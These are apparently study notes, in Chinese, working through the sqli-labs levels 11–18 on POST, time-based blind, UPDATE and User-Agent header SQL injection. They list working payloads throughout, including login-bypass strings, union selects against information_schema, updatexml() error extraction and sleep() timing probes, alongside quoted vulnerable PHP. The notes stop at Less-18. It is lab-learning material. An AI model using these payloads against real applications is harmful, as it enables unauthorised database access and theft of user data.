sql注入思路
POST注入
post就是数据从客户端提交 到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交, 提交到服务器后服务器再进行验证
1. 基于提示的post注入
此种注入需要搭配BP使用,显示位有效位等通过抓包查看http消息主体
1.1 Less-11(回显/错误提示)
1.1.1 找注入点
输入万能密码:
admin' //出错
admin' and 1=1# //注入成功
admin' or '1'='1# //万能密码
密码随意
1.1.2 爆库
-1' union select 1,database()#
密码随意
1.1.3 爆表
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema='security'#
密码随意
爆列爆数据操作同get sql注入(参阅sqli-labs1)
1.2 Less-12(回显/错误提示)
1.2.1 寻找注入点
admin' //正常
admin" //出错
根据错误继续测试注入点
admin") and 1=1# 注入成功
其余注入同less-11,只需把admin’ 改为admin”)即可
1.3 Less-13(错误提示)
源代码
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
//echo 'Your Login name:'. $row['username'];
//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
由上可知显示数据库错误,考虑盲注,且有错误提示,考虑updatexml()注入
1.3.1 找注入点
admin' //出错,提示加括号
admin') //出错
admin')# //不显示错误,可确定注入点为admin')
1.3.1.2 爆库
-1') and updatexml(1,concat(0x7e,database(),0x7e),1)#4
其他类似get sql注入中的基于错误的盲注
1.4 Less-14
注入点为admin’ ,其余同13
2. 基于时间的盲注
此种情况下,没有错误提示,也没有回显
2.1 Less-15
2.1.1 找注入点
admin' and if(1=2,1,sleep(5))# //延迟5s,找到注入点
2.1.2 猜测数据库
admin' and if(left(database(),1)>'h',1,sleep(5))# //此处数据库名第一个字母为s,所以会延迟5s
其余同get sql注入基于布尔的盲注
2.2 Less-16
2.2.1 找到注入点
admin") and if(1=2,1,sleep(5))# //延迟,找到注入点
其余同less-15
3. update注入
3.1 Less-17
3.1 找注入点
如用户更换密码,这种场景属于update注入。注入点在密码栏上
password: 1' //报错
1‘# //正常
综上,sql注入点在1’
3.2 爆库
在本关中无回显,有错误提示,可以用updatexml()
1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
其余同updatexml(),基于错误的盲注
4. http请求注入
寻找http其他可注入点进行注入
4.1 Less-18
查看源码
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
username和password都采用了check_input的方法,所以无法进行注入,但在源码中还有一处sql语句:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
于是此处可采用修改User-Agent的方式来进行注入
没有回显